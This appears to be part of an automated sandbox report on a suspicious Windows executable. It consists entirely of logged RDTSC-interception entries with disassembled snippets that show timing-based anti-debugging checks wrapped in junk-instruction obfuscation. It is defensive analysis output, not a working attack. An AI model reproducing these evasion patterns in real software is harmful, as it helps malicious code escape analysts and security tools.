Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 7C5B33 second address: 7C5B3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 805596 second address: 80559A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 80559A second address: 8055AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jng 00007F9934C73DC6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 8055AB second address: 8055B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 8055B0 second address: 8055B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 805727 second address: 80572B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 80572B second address: 80574B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9934C73DD5h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 80574B second address: 805763 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F9934D1A6ACh 0x0000000a popad 0x0000000b pushad 0x0000000c push edi 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 805BC2 second address: 805BC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 805BC8 second address: 805BE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F9934D1A6B5h 0x0000000e rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 805D3D second address: 805D47 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F9934C73DC6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 805D47 second address: 805D94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 je 00007F9934D1A6A6h 0x0000000d jmp 00007F9934D1A6AFh 0x00000012 popad 0x00000013 pushad 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 jmp 00007F9934D1A6B6h 0x0000001b push esi 0x0000001c pop esi 0x0000001d popad 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 jmp 00007F9934D1A6AEh 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 805D94 second address: 805D9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 805D9A second address: 805DB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F9934D1A6B8h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 805EF3 second address: 805F08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop esi 0x00000007 jl 00007F9934C73DD2h 0x0000000d jnp 00007F9934C73DC6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 807D49 second address: 807D69 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F9934D1A6B3h 0x00000012 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 807EDA second address: 807EE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 8080BD second address: 8080E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007F9934D1A6AFh 0x00000011 pushad 0x00000012 jmp 00007F9934D1A6AEh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 808218 second address: 808239 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9934C73DD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 808239 second address: 80825C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9934D1A6B7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pushad 0x0000000f popad 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 808498 second address: 8084A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 8084A2 second address: 8084A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 8089B6 second address: 8089BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 8089BE second address: 8089CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007F9934D1A6A6h 0x00000011 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 8089CF second address: 8089D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 8089D3 second address: 8089D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 8089D9 second address: 8089DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 808C79 second address: 808C7F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 808D65 second address: 808D6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 808E36 second address: 808E3B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 808FAA second address: 808FB0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 808FB0 second address: 808FFD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9934D1A6B0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007F9934D1A6A8h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 0000001Ah 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 sbb edi, 30629A78h 0x0000002c movzx edi, si 0x0000002f push eax 0x00000030 push eax 0x00000031 push edx 0x00000032 push edi 0x00000033 jng 00007F9934D1A6A6h 0x00000039 pop edi 0x0000003a rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 808FFD second address: 809002 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 809E3B second address: 809E40 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 809E40 second address: 809EA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jl 00007F9934C73DD3h 0x0000000e jmp 00007F9934C73DCDh 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push eax 0x00000017 call 00007F9934C73DC8h 0x0000001c pop eax 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 add dword ptr [esp+04h], 00000019h 0x00000029 inc eax 0x0000002a push eax 0x0000002b ret 0x0000002c pop eax 0x0000002d ret 0x0000002e sub edi, 35363A23h 0x00000034 mov dword ptr [ebp+122D1C0Ch], ebx 0x0000003a push 00000000h 0x0000003c mov dword ptr [ebp+122D2F8Ch], edi 0x00000042 push 00000000h 0x00000044 mov edi, dword ptr [ebp+122D2911h] 0x0000004a push eax 0x0000004b push ecx 0x0000004c push eax 0x0000004d push edx 0x0000004e jnc 00007F9934C73DC6h 0x00000054 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 80B9AE second address: 80B9B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 80B9B2 second address: 80B9BC instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9934C73DC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 80B9BC second address: 80B9D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9934D1A6ADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c ja 00007F9934D1A6A8h 0x00000012 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 80CFD0 second address: 80D048 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop ebx 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push eax 0x0000000c call 00007F9934C73DC8h 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 add dword ptr [esp+04h], 00000016h 0x0000001e inc eax 0x0000001f push eax 0x00000020 ret 0x00000021 pop eax 0x00000022 ret 0x00000023 clc 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push ecx 0x00000029 call 00007F9934C73DC8h 0x0000002e pop ecx 0x0000002f mov dword ptr [esp+04h], ecx 0x00000033 add dword ptr [esp+04h], 0000001Dh 0x0000003b inc ecx 0x0000003c push ecx 0x0000003d ret 0x0000003e pop ecx 0x0000003f ret 0x00000040 push 00000000h 0x00000042 jns 00007F9934C73DC7h 0x00000048 call 00007F9934C73DD7h 0x0000004d mov esi, eax 0x0000004f pop edi 0x00000050 push eax 0x00000051 push eax 0x00000052 push edx 0x00000053 push ebx 0x00000054 push eax 0x00000055 push edx 0x00000056 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 80D048 second address: 80D04D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 80D04D second address: 80D054 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 80DA8E second address: 80DAB0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F9934D1A6B1h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f jp 00007F9934D1A6A6h 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 80DAB0 second address: 80DABA instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9934C73DCCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 811A80 second address: 811A86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 811A86 second address: 811A90 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 813BB6 second address: 813BD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9934D1A6B6h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 813BD0 second address: 813C74 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9934C73DD8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007F9934C73DC8h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 00000017h 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 push 00000000h 0x0000002a mov dword ptr [ebp+1244675Dh], eax 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push edx 0x00000035 call 00007F9934C73DC8h 0x0000003a pop edx 0x0000003b mov dword ptr [esp+04h], edx 0x0000003f add dword ptr [esp+04h], 0000001Bh 0x00000047 inc edx 0x00000048 push edx 0x00000049 ret 0x0000004a pop edx 0x0000004b ret 0x0000004c mov dword ptr [ebp+122D289Fh], ecx 0x00000052 or dword ptr [ebp+122D2741h], ecx 0x00000058 xchg eax, esi 0x00000059 pushad 0x0000005a push edi 0x0000005b jmp 00007F9934C73DCDh 0x00000060 pop edi 0x00000061 push eax 0x00000062 push edx 0x00000063 jmp 00007F9934C73DD8h 0x00000068 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 813C74 second address: 813C78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 816D46 second address: 816D4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 816D4A second address: 816D50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 81C2E5 second address: 81C300 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9934C73DD6h 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 81C9DA second address: 81C9F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F9934D1A6AFh 0x0000000c rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 8219D1 second address: 8219DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 82767C second address: 8276D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9934D1A6ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a jno 00007F9934D1A6A6h 0x00000010 pop edx 0x00000011 popad 0x00000012 mov dword ptr [esp], eax 0x00000015 movsx ebx, di 0x00000018 push 00000000h 0x0000001a mov bl, E5h 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push esi 0x00000021 call 00007F9934D1A6A8h 0x00000026 pop esi 0x00000027 mov dword ptr [esp+04h], esi 0x0000002b add dword ptr [esp+04h], 00000016h 0x00000033 inc esi 0x00000034 push esi 0x00000035 ret 0x00000036 pop esi 0x00000037 ret 0x00000038 mov edi, dword ptr [ebp+122D2BE9h] 0x0000003e xchg eax, esi 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007F9934D1A6AEh 0x00000046 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 82F4AD second address: 82F4C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jc 00007F9934C73DC6h 0x0000000c jo 00007F9934C73DC6h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 82F4C0 second address: 82F4CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 82F4CB second address: 82F4E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F9934C73DCEh 0x0000000e rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 83222F second address: 832241 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 push eax 0x00000008 pop eax 0x00000009 popad 0x0000000a jnc 00007F9934D1A6ACh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 83648E second address: 836492 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 836492 second address: 8364A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 8364A0 second address: 8364A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 8364A4 second address: 8364AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 8364AA second address: 8364C2 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F9934C73DCCh 0x00000008 jp 00007F9934C73DC6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 push ecx 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 836571 second address: 836581 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9934D1A6ACh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 836581 second address: 8365A5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F9934C73DD8h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 8365A5 second address: 8365B3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007F9934D1A6A6h 0x0000000e rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 8365B3 second address: 8365B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 8365B7 second address: 836608 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c push ebx 0x0000000d jmp 00007F9934D1A6B2h 0x00000012 pop ebx 0x00000013 jmp 00007F9934D1A6B7h 0x00000018 popad 0x00000019 mov eax, dword ptr [eax] 0x0000001b push edi 0x0000001c jns 00007F9934D1A6ACh 0x00000022 pop edi 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 836608 second address: 836613 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F9934C73DC6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 836804 second address: 836817 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F9934D1A6A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push esi 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 836817 second address: 83682C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F9934C73DCAh 0x00000010 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 83C2AD second address: 83C2BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jbe 00007F9934D1A6A6h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 83C2BA second address: 83C2BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 83B564 second address: 83B580 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F9934D1A6B6h 0x0000000b rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 83B6DC second address: 83B6FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F9934C73DC6h 0x0000000a push esi 0x0000000b pop esi 0x0000000c popad 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 jmp 00007F9934C73DCDh 0x00000019 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 83B6FD second address: 83B703 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 83B703 second address: 83B709 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 83B9AB second address: 83B9AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 83B9AF second address: 83B9CB instructions: 0x00000000 rdtsc 0x00000002 ja 00007F9934C73DC6h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F9934C73DD0h 0x00000011 rdtsc
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	RDTSC instruction interceptor: First address: 83BD0F second address: 83BD15 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
